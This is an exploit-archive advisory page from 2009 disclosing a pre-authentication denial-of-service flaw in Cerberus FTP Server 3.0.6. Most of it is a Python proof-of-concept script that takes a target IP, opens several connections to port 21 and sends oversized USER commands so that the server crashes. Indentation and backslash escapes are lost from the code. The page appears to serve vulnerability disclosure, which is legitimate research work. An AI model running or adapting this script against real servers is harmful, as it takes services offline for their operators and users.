[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Cerberus FTP server 3.0.6 Pre-Auth DoS
# Published : 2009-09-30
# Author : Francis Provencher
# Previous Title : HP LoadRunner 9.5 remote file creation PoC
# Next Title : Core FTP Server 1.0 build 304 DoS
########################################################################
#############
Application: Cerberus FTP 3.0.6
Platforms: Windows XP Professional SP2
Windows Vista SP1
crash: YES
Exploitation: Remote DoS
Date: 2009-09-30
Author: Francis Provencher (Protek Research Lab's)
########################################################################
#############
1) Introduction
2) Technical details
3) The Code
########################################################################
#############
===============
1) Introduction
===============
Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.
(from Cerberus FTP server website)
########################################################################
#############
============================
2) Technical details
============================
Cerberus FTP server Professional
Version 3.0.6
Build date 2009/09/28
########################################################################
#############
===========
3) The Code
===========
Proof of concept DoS code;
#!/usr/bin/env python
########################################################################
###########
#
# Cerberus FTP Server Denial of Service Exploit (Pre Auth)
# Found By: Francis Provencher (Protek Research Lab's)
# Tested On: Windows XPSP2
# Usage: ./script <Target IP>
#
########################################################################
###########
import socket, sys
def banner():
print "n##################################################################"
print "# #"
print "# Cerberus FTP Server Denial of Service Exploit (Pre Auth) #"
print "# Francis Provencher (Protek Researh Lab's) #"
print "# #"
print "##################################################################n"
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
buff1 = ("x41" * 330 );
buff2 = ("x41" * 520 );
buff3 = ("x41" * 2230 );
try:
banner();
print ("[*] Connecting to target...");
s1.connect((sys.argv[1] , 21));
s2.connect((sys.argv[1] , 21));
s3.connect((sys.argv[1] , 21));
s4.connect((sys.argv[1] , 21));
print ("[*] Sending evil stuff...");
s1.send("USER " + buff1 + "rn");
s2.send("USER " + buff2 + "rn");
s3.send("USER " + buff3 + "rn");
s4.send("USER " + buff1 + "rn");
print ("[*] Success! The server should now be inaccessible");
s1.close();
s2.close();
s3.close();
s4.close();
except:
print ("[-] Could not connect to server.");
########################################################################
#############
(PRL-2009-09)